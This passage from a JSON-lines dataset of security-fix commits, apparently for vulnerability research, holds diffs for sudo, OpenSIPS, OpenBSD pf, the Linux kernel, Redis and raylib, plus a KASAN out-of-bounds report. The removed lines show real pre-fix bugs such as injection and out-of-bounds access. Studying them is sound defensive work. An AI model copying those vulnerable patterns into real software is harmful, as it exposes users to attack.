bufsize)\n+\t sudo_fatalx(U_(\"internal error, %s overflow\"), __func__);\n+\tcp += len;\n+\tbufsize -= len;\n+ }\n+\n+ *newbuf = buf;\n+ debug_return_str(buf);\n+}\n+\n static bool\n match_expr(struct search_node_list *head, struct eventlog *evlog, bool last_match)\n {\n struct search_node *sn;\n bool res = false, matched = last_match;\n+ char *tofree;\n int rc;\n debug_decl(match_expr, SUDO_DEBUG_UTIL);\n \n", "related": true}, {"section": "@@ -1353,13 +1404,15 @@ match_expr(struct search_node_list *head, struct eventlog *evlog, bool last_matc\n \t\tres = strcmp(sn->u.user, evlog->submituser) == 0;\n \t break;\n \tcase ST_PATTERN:\n-\t rc = regexec(&sn->u.cmdre, evlog->command, 0, NULL, 0);\n+\t rc = regexec(&sn->u.cmdre, expand_command(evlog, &tofree),\n+\t\t0, NULL, 0);\n \t if (rc && rc != REG_NOMATCH) {\n \t\tchar buf[BUFSIZ];\n \t\tregerror(rc, &sn->u.cmdre, buf, sizeof(buf));\n \t\tsudo_fatalx(\"%s\", buf);\n \t }\n \t res = rc == REG_NOMATCH ? 0 : 1;\n+\t free(tofree);\n \t break;\n \tcase ST_FROMDATE:\n \t res = sudo_timespeccmp(&evlog->submit_time, &sn->u.tstamp, >=);\n", "related": true}, {"section": "@@ -1380,12 +1433,13 @@ match_expr(struct search_node_list *head, struct eventlog *evlog, bool last_matc\n }\n \n static int\n-list_session(char *log_dir, regex_t *re, const char *user, const char *tty)\n+list_session(struct sudo_lbuf *lbuf, char *log_dir, regex_t *re,\n+ const char *user, const char *tty)\n {\n char idbuf[7], *idstr, *cp;\n struct eventlog *evlog = NULL;\n const char *timestr;\n- int ret = -1;\n+ int i, ret = -1;\n debug_decl(list_session, SUDO_DEBUG_UTIL);\n \n if ((evlog = iolog_parse_loginfo(-1, log_dir)) == NULL)\n", "related": true}, {"section": "@@ -1417,23 +1471,71 @@ list_session(char *log_dir, regex_t *re, const char *user, const char *tty)\n }\n /* XXX - print lines + cols? */\n timestr = get_timestr(evlog->submit_time.tv_sec, 1);\n- printf(\"%s : %s : \", timestr ? timestr : \"invalid date\", evlog->submituser);\n- if (evlog->submithost != NULL)\n-\tprintf(\"HOST=%s ; \", evlog->submithost);\n- if (evlog->ttyname != NULL)\n-\tprintf(\"TTY=%s ; \", evlog->ttyname);\n- if (evlog->runchroot != NULL)\n-\tprintf(\"CHROOT=%s ; \", evlog->runchroot);\n- if (evlog->runcwd != NULL || evlog->cwd != NULL)\n-\tprintf(\"CWD=%s ; \", evlog->runcwd ? evlog->runcwd : evlog->cwd);\n- printf(\"USER=%s ; \", evlog->runuser);\n- if (evlog->rungroup != NULL)\n-\tprintf(\"GROUP=%s ; \", evlog->rungroup);\n- printf(\"TSID=%s ; COMMAND=%s\\n\", idstr, evlog->command);\n-\n- ret = 0;\n+ sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"%s : %s : \",\n+\ttimestr ? timestr : \"invalid date\", evlog->submituser);\n+ if (evlog->submithost != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"HOST=%s ; \",\n+\t evlog->submithost);\n+ }\n+ if (evlog->ttyname != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"TTY=%s ; \",\n+\t evlog->ttyname);\n+ }\n+ if (evlog->runchroot != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"CHROOT=%s ; \",\n+\t evlog->runchroot);\n+ }\n+ if (evlog->runcwd != NULL || evlog->cwd != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"CWD=%s ; \",\n+\t evlog->runcwd ? evlog->runcwd : evlog->cwd);\n+ }\n+ sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"USER=%s ; \", evlog->runuser);\n+ if (evlog->rungroup != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"GROUP=%s ; \",\n+\t evlog->rungroup);\n+ }\n+ sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"TSID=%s ; \", idstr);\n+\n+ /* \n+ * If we have both command and argv from info.json we can escape\n+ * blanks in the the command and arguments. If all we have is a\n+ * single string containing both the command and arguments we cannot.\n+ */\n+ if (evlog->argv != NULL) {\n+\t/* Command plus argv from the info.json file. */\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL|LBUF_ESC_BLANK,\n+\t \"COMMAND=%s\", evlog->command);\n+\tif (evlog->argv[0] != NULL) {\n+\t for (i = 1; evlog->argv[i] != NULL; i++) {\n+\t\tsudo_lbuf_append(lbuf, \" \");\n+\t\tif (strchr(evlog->argv[i], ' ') != NULL) {\n+\t\t /* Wrap args containing spaces in single quotes. */\n+\t\t sudo_lbuf_append(lbuf, \"'\");\n+\t\t sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL|LBUF_ESC_QUOTE,\n+\t\t\t\"%s\", evlog->argv[i]);\n+\t\t sudo_lbuf_append(lbuf, \"'\");\n+\t\t} else {\n+\t\t /* Escape quotes here too for consistency. */\n+\t\t sudo_lbuf_append_esc(lbuf,\n+\t\t\tLBUF_ESC_CNTRL|LBUF_ESC_BLANK|LBUF_ESC_QUOTE,\n+\t\t\t\"%s\", evlog->argv[i]);\n+\t\t}\n+\t }\n+\t}\n+ } else {\n+\t/* Single string from the legacy info file. */\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"COMMAND=%s\",\n+\t evlog->command);\n+ }\n+\n+ if (!sudo_lbuf_error(lbuf)) {\n+\tputs(lbuf->buf);\n+\tret = 0;\n+ }\n \n done:\n+ lbuf->error = 0;\n+ lbuf->len = 0;\n eventlog_free(evlog);\n debug_return_int(ret);\n }\n", "related": true}, {"section": "@@ -1453,6 +1555,7 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n DIR *d;\n struct dirent *dp;\n struct stat sb;\n+ struct sudo_lbuf lbuf;\n size_t sdlen, sessions_len = 0, sessions_size = 0;\n unsigned int i;\n int len;\n", "related": true}, {"section": "@@ -1464,6 +1567,8 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n #endif\n debug_decl(find_sessions, SUDO_DEBUG_UTIL);\n \n+ sudo_lbuf_init(&lbuf, NULL, 0, NULL, 0);\n+\n d = opendir(dir);\n if (d == NULL)\n \tsudo_fatal(U_(\"unable to open %s\"), dir);\n", "related": true}, {"section": "@@ -1524,7 +1629,7 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n \t /* Check for dir with a log file. */\n \t if (lstat(pathbuf, &sb) == 0 && S_ISREG(sb.st_mode)) {\n \t\tpathbuf[sdlen + len - 4] = '\\0';\n-\t\tlist_session(pathbuf, re, user, tty);\n+\t\tlist_session(&lbuf, pathbuf, re, user, tty);\n \t } else {\n \t\t/* Strip off \"/log\" and recurse if a non-log dir. */\n \t\tpathbuf[sdlen + len - 4] = '\\0';\n", "related": true}, {"section": "@@ -1535,6 +1640,7 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n \t}\n \tfree(sessions);\n }\n+ sudo_lbuf_destroy(&lbuf);\n \n debug_return_int(0);\n }", "related": true}]} +{"owner": "opensips", "repo": "opensips", "language": "C", "file_name": "modules/sipmsgops/codecs.c", "commit_id": "c6ab3bb406c447e30c7d33a1a8970048b4612100", "commit_message": "[sipmsgops] fix codec_delete_XX() parsing (2)\n\nIssue discovered during OpenSIPS Security Audit 2021,\n\tby Alfred Farrugia & Sandro Gauci (Enable Security)\n\nhttps://github.com/OpenSIPS/opensips/security/advisories/GHSA-67w7-g4j8-3wcx", "patch": "@@ -366,7 +366,8 @@ int delete_sdp_line( struct sip_msg * msg, char * s, struct sdp_stream_cell *str\n \n \twhile(*end != '\\n' && end < (stream->body.s+stream->body.len) )\n \t\tend++;\n-\tend++;\n+\tif ( *end == '\\n')\n+\t\tend++;\n \n \t/* delete the entry */\n \tif( del_lump(msg, start - msg->buf, end - start,0) == NULL )", "sections": [{"section": "@@ -366,7 +366,8 @@ int delete_sdp_line( struct sip_msg * msg, char * s, struct sdp_stream_cell *str\n \n \twhile(*end != '\\n' && end < (stream->body.s+stream->body.len) )\n \t\tend++;\n-\tend++;\n+\tif ( *end == '\\n')\n+\t\tend++;\n \n \t/* delete the entry */\n \tif( del_lump(msg, start - msg->buf, end - start,0) == NULL )", "related": false}]} +{"owner": "rizinorg", "repo": "rizin", "language": "C", "file_name": "librz/include/rz_types_base.h", "commit_id": "d6196703d89c84467b600ba2692534579dc25ed4", "commit_message": "Fix conversion from GDB register profile to rizin profile", "patch": "@@ -214,4 +214,7 @@ typedef struct _utX {\n \t\treturn m ? *m = n, m : m; \\\n \t}\n \n+#define RZ_STR_DEF(s) RZ_STR(s)\n+#define RZ_STR(s) #s\n+\n #endif // RZ_TYPES_BASE_H", "sections": [{"section": "@@ -214,4 +214,7 @@ typedef struct _utX {\n \t\treturn m ? *m = n, m : m; \\\n \t}\n \n+#define RZ_STR_DEF(s) RZ_STR(s)\n+#define RZ_STR(s) #s\n+\n #endif // RZ_TYPES_BASE_H", "related": false}]} +{"owner": "openbsd", "repo": "src", "language": "C", "file_name": "sys/net/pf.c", "commit_id": "0a543725ccdd2a01669122ce79bb67e66ede77f2", "commit_message": "Binding the accept socket in TCP input relies on the fact that the\nlisten port is not bound to port 0. With a matching pf divert-to\nrule this assumption is no longer true and could crash the kernel\nwith kassert. In both pf and stack drop TCP packets with destination\nport 0 before they can do harm.\nOK sashan@ claudio@", "patch": "@@ -1,4 +1,4 @@\n-/*\t$OpenBSD: pf.c,v 1.1169 2023/01/06 17:44:34 sashan Exp $ */\n+/*\t$OpenBSD: pf.c,v 1.1170 2023/01/12 13:09:47 bluhm Exp $ */\n \n /*\n * Copyright (c) 2001 Daniel Hartmeier\n@@ -7254,7 +7254,8 @@ pf_setup_pdesc(struct pf_pdesc *pd, sa_family_t af, int dir,\n \t\t NULL, reason, pd->af))\n \t\t\treturn (PF_DROP);\n \t\tpd->hdrlen = sizeof(*th);\n-\t\tif (pd->off + (th->th_off << 2) > pd->tot_len ||\n+\t\tif (th->th_dport == 0 ||\n+\t\t pd->off + (th->th_off << 2) > pd->tot_len ||\n \t\t (th->th_off << 2) < sizeof(struct tcphdr)) {\n \t\t\tREASON_SET(reason, PFRES_SHORT);\n \t\t\treturn (PF_DROP);", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/*\t$OpenBSD: pf.c,v 1.1169 2023/01/06 17:44:34 sashan Exp $ */\n+/*\t$OpenBSD: pf.c,v 1.1170 2023/01/12 13:09:47 bluhm Exp $ */\n \n /*\n * Copyright (c) 2001 Daniel Hartmeier\n", "related": false}, {"section": "@@ -7254,7 +7254,8 @@ pf_setup_pdesc(struct pf_pdesc *pd, sa_family_t af, int dir,\n \t\t NULL, reason, pd->af))\n \t\t\treturn (PF_DROP);\n \t\tpd->hdrlen = sizeof(*th);\n-\t\tif (pd->off + (th->th_off << 2) > pd->tot_len ||\n+\t\tif (th->th_dport == 0 ||\n+\t\t pd->off + (th->th_off << 2) > pd->tot_len ||\n \t\t (th->th_off << 2) < sizeof(struct tcphdr)) {\n \t\t\tREASON_SET(reason, PFRES_SHORT);\n \t\t\treturn (PF_DROP);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/bluetooth/hci_qca.c", "commit_id": "6845667146a28c09b5dfc401c1ad112374087944", "commit_message": "Bluetooth: hci_qca: Fix NULL vs IS_ERR_OR_NULL check in qca_serdev_probe\n\nThe function devm_gpiod_get_index() return error pointers on error.\nThus devm_gpiod_get_index_optional() could return NULL and error pointers.\nThe same as devm_gpiod_get_optional() function. Using IS_ERR_OR_NULL()\ncheck to catch error pointers.\n\nFixes: 77131dfe (\"Bluetooth: hci_qca: Replace devm_gpiod_get() with devm_gpiod_get_optional()\")\nSigned-off-by: Miaoqian Lin \nSigned-off-by: Marcel Holtmann ", "patch": "@@ -2059,14 +2059,14 @@ static int qca_serdev_probe(struct serdev_device *serdev)\n \n \t\tqcadev->bt_en = devm_gpiod_get_optional(&serdev->dev, \"enable\",\n \t\t\t\t\t GPIOD_OUT_LOW);\n-\t\tif (!qcadev->bt_en && data->soc_type == QCA_WCN6750) {\n+\t\tif (IS_ERR_OR_NULL(qcadev->bt_en) && data->soc_type == QCA_WCN6750) {\n \t\t\tdev_err(&serdev->dev, \"failed to acquire BT_EN gpio\\n\");\n \t\t\tpower_ctrl_enabled = false;\n \t\t}\n \n \t\tqcadev->sw_ctrl = devm_gpiod_get_optional(&serdev->dev, \"swctrl\",\n \t\t\t\t\t GPIOD_IN);\n-\t\tif (!qcadev->sw_ctrl && data->soc_type == QCA_WCN6750)\n+\t\tif (IS_ERR_OR_NULL(qcadev->sw_ctrl) && data->soc_type == QCA_WCN6750)\n \t\t\tdev_warn(&serdev->dev, \"failed to acquire SW_CTRL gpio\\n\");\n \n \t\tqcadev->susclk = devm_clk_get_optional(&serdev->dev, NULL);\n@@ -2088,7 +2088,7 @@ static int qca_serdev_probe(struct serdev_device *serdev)\n \n \t\tqcadev->bt_en = devm_gpiod_get_optional(&serdev->dev, \"enable\",\n \t\t\t\t\t GPIOD_OUT_LOW);\n-\t\tif (!qcadev->bt_en) {\n+\t\tif (IS_ERR_OR_NULL(qcadev->bt_en)) {\n \t\t\tdev_warn(&serdev->dev, \"failed to acquire enable gpio\\n\");\n \t\t\tpower_ctrl_enabled = false;\n \t\t}", "sections": [{"section": "@@ -2059,14 +2059,14 @@ static int qca_serdev_probe(struct serdev_device *serdev)\n \n \t\tqcadev->bt_en = devm_gpiod_get_optional(&serdev->dev, \"enable\",\n \t\t\t\t\t GPIOD_OUT_LOW);\n-\t\tif (!qcadev->bt_en && data->soc_type == QCA_WCN6750) {\n+\t\tif (IS_ERR_OR_NULL(qcadev->bt_en) && data->soc_type == QCA_WCN6750) {\n \t\t\tdev_err(&serdev->dev, \"failed to acquire BT_EN gpio\\n\");\n \t\t\tpower_ctrl_enabled = false;\n \t\t}\n \n \t\tqcadev->sw_ctrl = devm_gpiod_get_optional(&serdev->dev, \"swctrl\",\n \t\t\t\t\t GPIOD_IN);\n-\t\tif (!qcadev->sw_ctrl && data->soc_type == QCA_WCN6750)\n+\t\tif (IS_ERR_OR_NULL(qcadev->sw_ctrl) && data->soc_type == QCA_WCN6750)\n \t\t\tdev_warn(&serdev->dev, \"failed to acquire SW_CTRL gpio\\n\");\n \n \t\tqcadev->susclk = devm_clk_get_optional(&serdev->dev, NULL);\n", "related": false}, {"section": "@@ -2088,7 +2088,7 @@ static int qca_serdev_probe(struct serdev_device *serdev)\n \n \t\tqcadev->bt_en = devm_gpiod_get_optional(&serdev->dev, \"enable\",\n \t\t\t\t\t GPIOD_OUT_LOW);\n-\t\tif (!qcadev->bt_en) {\n+\t\tif (IS_ERR_OR_NULL(qcadev->bt_en)) {\n \t\t\tdev_warn(&serdev->dev, \"failed to acquire enable gpio\\n\");\n \t\t\tpower_ctrl_enabled = false;\n \t\t}", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/sched/sch_qfq.c", "commit_id": "3037933448f60f9acb705997eae62013ecb81e0d", "commit_message": "net: sched: sch_qfq: prevent slab-out-of-bounds in qfq_activate_agg\n\nIf the TCA_QFQ_LMAX value is not offered through nlattr, lmax is determined by the MTU value of the network device.\nThe MTU of the loopback device can be set up to 2^31-1.\nAs a result, it is possible to have an lmax value that exceeds QFQ_MIN_LMAX.\n\nDue to the invalid lmax value, an index is generated that exceeds the QFQ_MAX_INDEX(=24) value, causing out-of-bounds read/write errors.\n\nThe following reports a oob access:\n\n[ 84.582666] BUG: KASAN: slab-out-of-bounds in qfq_activate_agg.constprop.0 (net/sched/sch_qfq.c:1027 net/sched/sch_qfq.c:1060 net/sched/sch_qfq.c:1313)\n[ 84.583267] Read of size 4 at addr ffff88810f676948 by task ping/301\n[ 84.583686]\n[ 84.583797] CPU: 3 PID: 301 Comm: ping Not tainted 6.3.0-rc5 #1\n[ 84.584164] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n[ 84.584644] Call Trace:\n[ 84.584787] \n[ 84.584906] dump_stack_lvl (lib/dump_stack.c:107 (discriminator 1))\n[ 84.585108] print_report (mm/kasan/report.c:320 mm/kasan/report.c:430)\n[ 84.585570] kasan_report (mm/kasan/report.c:538)\n[ 84.585988] qfq_activate_agg.constprop.0 (net/sched/sch_qfq.c:1027 net/sched/sch_qfq.c:1060 net/sched/sch_qfq.c:1313)\n[ 84.586599] qfq_enqueue (net/sched/sch_qfq.c:1255)\n[ 84.587607] dev_qdisc_enqueue (net/core/dev.c:3776)\n[ 84.587749] __dev_queue_xmit (./include/net/sch_generic.h:186 net/core/dev.c:3865 net/core/dev.c:4212)\n[ 84.588763] ip_finish_output2 (./include/net/neighbour.h:546 net/ipv4/ip_output.c:228)\n[ 84.589460] ip_output (net/ipv4/ip_output.c:430)\n[ 84.590132] ip_push_pending_frames (./include/net/dst.h:444 net/ipv4/ip_output.c:126 net/ipv4/ip_output.c:1586 net/ipv4/ip_output.c:1606)\n[ 84.590285] raw_sendmsg (net/ipv4/raw.c:649)\n[ 84.591960] sock_sendmsg (net/socket.c:724 net/socket.c:747)\n[ 84.592084] __sys_sendto (net/socket.c:2142)\n[ 84.593306] __x64_sys_sendto (net/socket.c:2150)\n[ 84.593779] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)\n[ 84.593902] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:120)\n[ 84.594070] RIP: 0033:0x7fe568032066\n[ 84.594192] Code: 0e 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c09[ 84.594796] RSP: 002b:00007ffce388b4e8 EFLAGS: 00000246 ORIG_RAX: 000000000000002c\n\nCode starting with the faulting instruction\n===========================================\n[ 84.595047] RAX: ffffffffffffffda RBX: 00007ffce388cc70 RCX: 00007fe568032066\n[ 84.595281] RDX: 0000000000000040 RSI: 00005605fdad6d10 RDI: 0000000000000003\n[ 84.595515] RBP: 00005605fdad6d10 R08: 00007ffce388eeec R09: 0000000000000010\n[ 84.595749] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000040\n[ 84.595984] R13: 00007ffce388cc30 R14: 00007ffce388b4f0 R15: 0000001d00000001\n[ 84.596218] \n[ 84.596295]\n[ 84.596351] Allocated by task 291:\n[ 84.596467] kasan_save_stack (mm/kasan/common.c:46)\n[ 84.596597] kasan_set_track (mm/kasan/common.c:52)\n[ 84.596725] __kasan_kmalloc (mm/kasan/common.c:384)\n[ 84.596852] __kmalloc_node (./include/linux/kasan.h:196 mm/slab_common.c:967 mm/slab_common.c:974)\n[ 84.596979] qdisc_alloc (./include/linux/slab.h:610 ./include/linux/slab.h:731 net/sched/sch_generic.c:938)\n[ 84.597100] qdisc_create (net/sched/sch_api.c:1244)\n[ 84.597222] tc_modify_qdisc (net/sched/sch_api.c:1680)\n[ 84.597357] rtnetlink_rcv_msg (net/core/rtnetlink.c:6174)\n[ 84.597495] netlink_rcv_skb (net/netlink/af_netlink.c:2574)\n[ 84.597627] netlink_unicast (net/netlink/af_netlink.c:1340 net/netlink/af_netlink.c:1365)\n[ 84.597759] netlink_sendmsg (net/netlink/af_netlink.c:1942)\n[ 84.597891] sock_sendmsg (net/socket.c:724 net/socket.c:747)\n[ 84.598016] ____sys_sendmsg (net/socket.c:2501)\n[ 84.598147] ___sys_sendmsg (net/socket.c:2557)\n[ 84.598275] __sys_sendmsg (./include/linux/file.h:31 net/socket.c:2586)\n[ 84.598399] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)\n[ 84.598520] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:120)\n[ 84.598688]\n[ 84.598744] The buggy address belongs to the object at ffff88810f674000\n[ 84.598744] which belongs to the cache kmalloc-8k of size 8192\n[ 84.599135] The buggy address is located 2664 bytes to the right of\n[ 84.599135] allocated 7904-byte region [ffff88810f674000, ffff88810f675ee0)\n[ 84.599544]\n[ 84.599598] The buggy address belongs to the physical page:\n[ 84.599777] page:00000000e638567f refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10f670\n[ 84.600074] head:00000000e638567f order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0\n[ 84.600330] flags: 0x200000000010200(slab|head|node=0|zone=2)\n[ 84.600517] raw: 0200000000010200 ffff888100043180 dead000000000122 0000000000000000\n[ 84.600764] raw: 0000000000000000 0000000080020002 00000001ffffffff 0000000000000000\n[ 84.601009] page dumped because: kasan: bad access detected\n[ 84.601187]\n[ 84.601241] Memory state around the buggy address:\n[ 84.601396] ffff88810f676800: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 84.601620] ffff88810f676880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 84.601845] >ffff88810f676900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 84.602069] ^\n[ 84.602243] ffff88810f676980: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 84.602468] ffff88810f676a00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n[ 84.602693] ==================================================================\n[ 84.602924] Disabling lock debugging due to kernel taint\n\nFixes: 3015f3d2a3cd (\"pkt_sched: enable QFQ to support TSO/GSO\")\nReported-by: Gwangun Jung \nSigned-off-by: Gwangun Jung \nAcked-by: Jamal Hadi Salim\nSigned-off-by: David S. Miller ", "patch": "@@ -421,15 +421,16 @@ static int qfq_change_class(struct Qdisc *sch, u32 classid, u32 parentid,\n \t} else\n \t\tweight = 1;\n \n-\tif (tb[TCA_QFQ_LMAX]) {\n+\tif (tb[TCA_QFQ_LMAX])\n \t\tlmax = nla_get_u32(tb[TCA_QFQ_LMAX]);\n-\t\tif (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {\n-\t\t\tpr_notice(\"qfq: invalid max length %u\\n\", lmax);\n-\t\t\treturn -EINVAL;\n-\t\t}\n-\t} else\n+\telse\n \t\tlmax = psched_mtu(qdisc_dev(sch));\n \n+\tif (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {\n+\t\tpr_notice(\"qfq: invalid max length %u\\n\", lmax);\n+\t\treturn -EINVAL;\n+\t}\n+\n \tinv_w = ONE_FP / weight;\n \tweight = ONE_FP / inv_w;\n ", "sections": [{"section": "@@ -421,15 +421,16 @@ static int qfq_change_class(struct Qdisc *sch, u32 classid, u32 parentid,\n \t} else\n \t\tweight = 1;\n \n-\tif (tb[TCA_QFQ_LMAX]) {\n+\tif (tb[TCA_QFQ_LMAX])\n \t\tlmax = nla_get_u32(tb[TCA_QFQ_LMAX]);\n-\t\tif (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {\n-\t\t\tpr_notice(\"qfq: invalid max length %u\\n\", lmax);\n-\t\t\treturn -EINVAL;\n-\t\t}\n-\t} else\n+\telse\n \t\tlmax = psched_mtu(qdisc_dev(sch));\n \n+\tif (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {\n+\t\tpr_notice(\"qfq: invalid max length %u\\n\", lmax);\n+\t\treturn -EINVAL;\n+\t}\n+\n \tinv_w = ONE_FP / weight;\n \tweight = ONE_FP / inv_w;\n ", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/t_hash.c", "commit_id": "bc7fe41e5857a0854d524e2a63a028e9394d2a5c", "commit_message": "fix hincrbyfloat not to create a key if the new value is invalid (#11149)\n\nCheck the validity of the value before performing the create operation,\r\nprevents new data from being generated even if the request fails to execute.\r\n\r\nCo-authored-by: Oran Agra \r\nCo-authored-by: chendianqiang \r\nCo-authored-by: Binbin ", "patch": "@@ -666,6 +666,10 @@ void hincrbyfloatCommand(client *c) {\n unsigned int vlen;\n \n if (getLongDoubleFromObjectOrReply(c,c->argv[3],&incr,NULL) != C_OK) return;\n+ if (isnan(incr) || isinf(incr)) {\n+ addReplyError(c,\"value is NaN or Infinity\");\n+ return;\n+ }\n if ((o = hashTypeLookupWriteOrCreate(c,c->argv[1])) == NULL) return;\n if (hashTypeGetValue(o,c->argv[2]->ptr,&vstr,&vlen,&ll) == C_OK) {\n if (vstr) {", "sections": [{"section": "@@ -666,6 +666,10 @@ void hincrbyfloatCommand(client *c) {\n unsigned int vlen;\n \n if (getLongDoubleFromObjectOrReply(c,c->argv[3],&incr,NULL) != C_OK) return;\n+ if (isnan(incr) || isinf(incr)) {\n+ addReplyError(c,\"value is NaN or Infinity\");\n+ return;\n+ }\n if ((o = hashTypeLookupWriteOrCreate(c,c->argv[1])) == NULL) return;\n if (hashTypeGetValue(o,c->argv[2]->ptr,&vstr,&vlen,&ll) == C_OK) {\n if (vstr) {", "related": false}]} +{"owner": "raysan5", "repo": "raylib", "language": "C", "file_name": "src/rcore.c", "commit_id": "b436c8d7e5346a241b00511a11585936895d959d", "commit_message": "ADDED: Security check for `emscripten_run_script()` #2954", "patch": "@@ -1994,7 +1994,9 @@ void SetClipboardText(const char *text)\n glfwSetClipboardString(CORE.Window.handle, text);\n #endif\n #if defined(PLATFORM_WEB)\n- emscripten_run_script(TextFormat(\"navigator.clipboard.writeText('%s')\", text));\n+ // Security check to (partially) avoid malicious code\n+ if (strchr(text, '\\'') != NULL) TRACELOG(LOG_WARNING, \"SYSTEM: Provided Clipboard could be potentially malicious, avoid [\\'] character\");\n+ else emscripten_run_script(TextFormat(\"navigator.clipboard.writeText('%s')\", text));\n #endif\n }\n \n@@ -2006,6 +2008,7 @@ const char *GetClipboardText(void)\n return glfwGetClipboardString(CORE.Window.handle);\n #endif\n #if defined(PLATFORM_WEB)\n+/*\n // Accessing clipboard data from browser is tricky due to security reasons\n // The method to use is navigator.clipboard.readText() but this is an asynchronous method\n // that will return at some moment after the function is called with the required data\n@@ -2019,7 +2022,7 @@ const char *GetClipboardText(void)\n \n // Another approach could be just copy the data in a HTML text field and try to retrieve it\n // later on if available... and clean it for future accesses\n-\n+*/\n return NULL;\n #endif\n return NULL;\n@@ -2910,6 +2913,9 @@ void SetConfigFlags(unsigned int flags)\n void TakeScreenshot(const char *fileName)\n {\n #if defined(SUPPORT_MODULE_RTEXTURES)\n+ // Security check to (partially) avoid malicious code on PLATFORM_WEB\n+ if (strchr(fileName, '\\'') != NULL) { TRACELOG(LOG_WARNING, \"SYSTEM: Provided fileName could be potentially malicious, avoid [\\'] character\"); return; }\n+\n Vector2 scale = GetWindowScaleDPI();\n unsigned char *imgData = rlReadScreenPixels((int)((float)CORE.Window.render.width*scale.x), (int)((float)CORE.Window.render.height*scale.y));\n Image image = { imgData, (int)((float)CORE.Window.render.width*scale.x), (int)((float)CORE.Window.render.height*scale.y), 1, PIXELFORMAT_UNCOMPRESSED_R8G8B8A8 };\n@@ -3536,12 +3542,8 @@ unsigned char *DecodeDataBase64(const unsigned char *data, int *outputSize)\n // Ref: https://github.com/raysan5/raylib/issues/686\n void OpenURL(const char *url)\n {\n- // Small security check trying to avoid (partially) malicious code...\n- // sorry for the inconvenience when you hit this point...\n- if (strchr(url, '\\'') != NULL)\n- {\n- TRACELOG(LOG_WARNING, \"SYSTEM: Provided URL is not valid\");\n- }\n+ // Security check to (aprtially) avoid malicious code on PLATFORM_WEB\n+ if (strchr(url, '\\'') != NULL) TRACELOG(LOG_WARNING, \"SYSTEM: Provided URL could be potentially malicious, avoid [\\'] character\");\n else\n {\n #if defined(PLATFORM_DESKTOP)", "sections": [{"section": "@@ -1994,7 +1994,9 @@ void SetClipboardText(const char *text)\n glfwSetClipboardString(CORE.Window.handle, text);\n #endif\n #if defined(PLATFORM_WEB)\n- emscripten_run_script(TextFormat(\"navigator.clipboard.writeText('%s')\", text));\n+ // Security check to (partially) avoid malicious code\n+ if (strchr(text, '\\'') != NULL) TRACELOG(LOG_WARNING, \"SYSTEM: Provided Clipboard could be potentially malicious, avoid [\\'] character\");\n+ else emscripten_run_script(TextFormat(\"navigator.clipboard.writeText('%s')\", text));\n #endif\n }\n \n", "related": false}, {"section": "@@ -2006,6 +2008,7 @@ const char *GetClipboardText(void)\n return glfwGetClipboardString(CORE.Window.handle);\n #endif\n #if defined(PLATFORM_WEB)\n+/*\n // Accessing clipboard data from browser is tricky due to security reasons\n // The method to use is navigator.clipboard.readText() but this is an asynchronous method\n // that will return at some moment after the function is called with the required data\n", "related": false}, {"section": "@@ -2019,7 +2022,7 @@ const char *GetClipboardText(void)\n \n // Another approach could be just copy the data in a HTML text field and try to retrieve it\n // later on if available... and clean it for future accesses\n-\n+*/\n return NULL;\n #endif\n return NULL;\n", "related": false}, {"section": "@@ -2910,6 +2913,9 @@ void SetConfigFlags(unsigned int flags)\n void TakeScreenshot(const char *fileName)\n {\n #if defined(SUPPORT_MODULE_RTEXTURES)\n+ // Security check to (partially) avoid malicious code on PLATFORM_WEB\n+ if (strchr(fileName, '\\'') != NULL) { TRACELOG(LOG_WARNING, \"SYSTEM: Provided fileName could be potentially malicious, avoid [\\'] character\"); return; }\n+\n Vector2 scale = GetWindowScaleDPI();\n unsigned char *imgData = rlReadScreenPixels((int)((float)CORE.Window.render.width*scale.x), (int)((float)CORE.Window.render.height*scale.y));\n Image image = { imgData, (int)((float)CORE.Window.render.width*scale.x), (int)((float)CORE.Window.render.height*scale.y), 1, PIXELFORMAT_UNCOMPRESSED_R8G8B8A8 };\n", "related": false}, {"section": 